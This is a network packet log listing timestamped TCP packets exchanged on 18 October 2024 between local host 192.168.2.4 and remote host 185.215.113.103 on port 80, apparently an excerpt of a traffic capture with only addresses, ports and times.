Oct 18, 2024 15:04:08.886900902 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.886949062 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.886969090 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.888923883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.888978958 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.891899109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.891913891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.892112017 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.897542000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.897612095 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.003848076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.003948927 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.004460096 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.004472017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.004625082 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.006477118 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.006489038 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.006551981 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.009076118 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.009088039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.009130001 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.010910988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.010925055 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.010972023 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.011013985 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.013607979 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.013624907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.013654947 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.013673067 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.016134977 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.016154051 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.016165972 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.016187906 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.016215086 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.017505884 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.017523050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.017561913 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.019826889 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.019845963 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.019879103 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.019906044 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.022203922 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.022219896 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.022253990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.022274017 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.023638964 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.023657084 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.023667097 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.023684978 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.023705006 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.025831938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.025856972 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.025897980 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.027699947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.027717113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.027754068 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.027784109 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.029860020 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.029875994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.029911995 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.029932022 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.031377077 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.031395912 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.031436920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.031450033 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.033248901 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.033261061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.033271074 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.033302069 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.033324003 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.035043955 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.035057068 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.035099983 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.036796093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.036808014 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.036854982 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.038660049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.038683891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.038716078 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.038743019 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.040538073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.040555000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.040565968 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.040592909 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.040616035 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.042232990 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.042251110 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.042283058 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.042309046 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.213099003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.213196039 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.213741064 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.213751078 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.213828087 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.214708090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.214720964 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.214771986 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.216140985 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.216154099 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.216196060 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.218153000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.218172073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.218199015 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.218228102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.219602108 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.219614029 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.219652891 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.221616983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.221632957 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.221642971 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.221664906 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.221693039 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.222832918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.222848892 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.222879887 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.222903013 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.224531889 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.224545956 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.224591970 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.225475073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.225487947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.225528955 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.226898909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.226914883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.226924896 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.226963043 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.226975918 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.252106905 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.252130032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.252202034 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.253659010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.253675938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.253715992 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.253751993 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.256552935 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.256567001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.256609917 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.259411097 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.259428024 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.259484053 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.261657953 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.261676073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.261687040 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.261715889 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.261751890 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.265831947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.265904903 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.268198013 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.268214941 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.268255949 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.268275023 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.270116091 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.270170927 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.272322893 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.272336960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.272346020 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.272393942 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.272442102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.274538994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.274550915 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.274591923 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.276649952 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.276663065 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.276714087 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.278881073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.278894901 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.278937101 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.280966997 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.280983925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.281027079 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.283230066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.283243895 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.283256054 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.283286095 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.283308983 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.285298109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.285331011 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.285362005 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.285379887 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.287472010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.287487030 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.287535906 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.289637089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.289650917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.289702892 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.291855097 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.291871071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.291881084 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.291919947 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.291943073 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.293951988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.293986082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.294012070 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.294032097 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.296117067 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.296137094 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.296174049 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.296189070 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.298408031 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.298423052 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.298471928 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.300302982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.300333023 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.300358057 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.300384998 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.301752090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.301803112 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.301810026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.301853895 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.303462982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.303484917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.303518057 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.303535938 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.305273056 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.305293083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.305326939 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.305357933 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.305392027 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.307044983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.307056904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.307100058 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.308767080 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.308784008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.308815956 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.308836937 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.310376883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.310393095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.310430050 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.310451031 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.311978102 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.311994076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.312004089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.312035084 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.312062025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.334551096 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.334606886 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.335056067 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.335067987 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.335104942 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.337048054 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.337059021 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.337093115 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.338527918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.338591099 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.339260101 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.339270115 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.339306116 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.341200113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.341212034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.341243982 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.341268063 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.343084097 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.343101025 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.343128920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.343158960 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.345288992 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.345307112 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.345330954 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.345362902 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.346935987 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.346954107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.346965075 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.346985102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.347007990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.349148035 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.349164963 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.349200010 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.349219084 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.351124048 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.351141930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.351208925 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.352340937 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.352355957 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.352391958 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.352418900 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.353936911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.353952885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.353962898 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.353993893 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.354008913 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.355866909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.355882883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.355917931 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.355966091 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.358170986 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.358186960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.358222008 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.360441923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.360460043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.360486984 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.360503912 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.362442017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.362457991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.362488985 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.362517118 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.364595890 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.364609957 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.364619970 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.364639044 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.364675999 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.366573095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.366585016 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.366619110 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.368765116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.368777037 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.368810892 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.368832111 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.370580912 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.370592117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.370634079 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.370654106 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.372422934 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.372440100 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.372450113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.372464895 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.372497082 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.374116898 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.374129057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.374159098 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.374176025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.375420094 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.375448942 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.375464916 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.375485897 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.377495050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.377507925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.377559900 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.377559900 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.379232883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.379251003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.379281998 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.379300117 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.380598068 CEST	80	49799	185.215.113.103	192.168.2.4
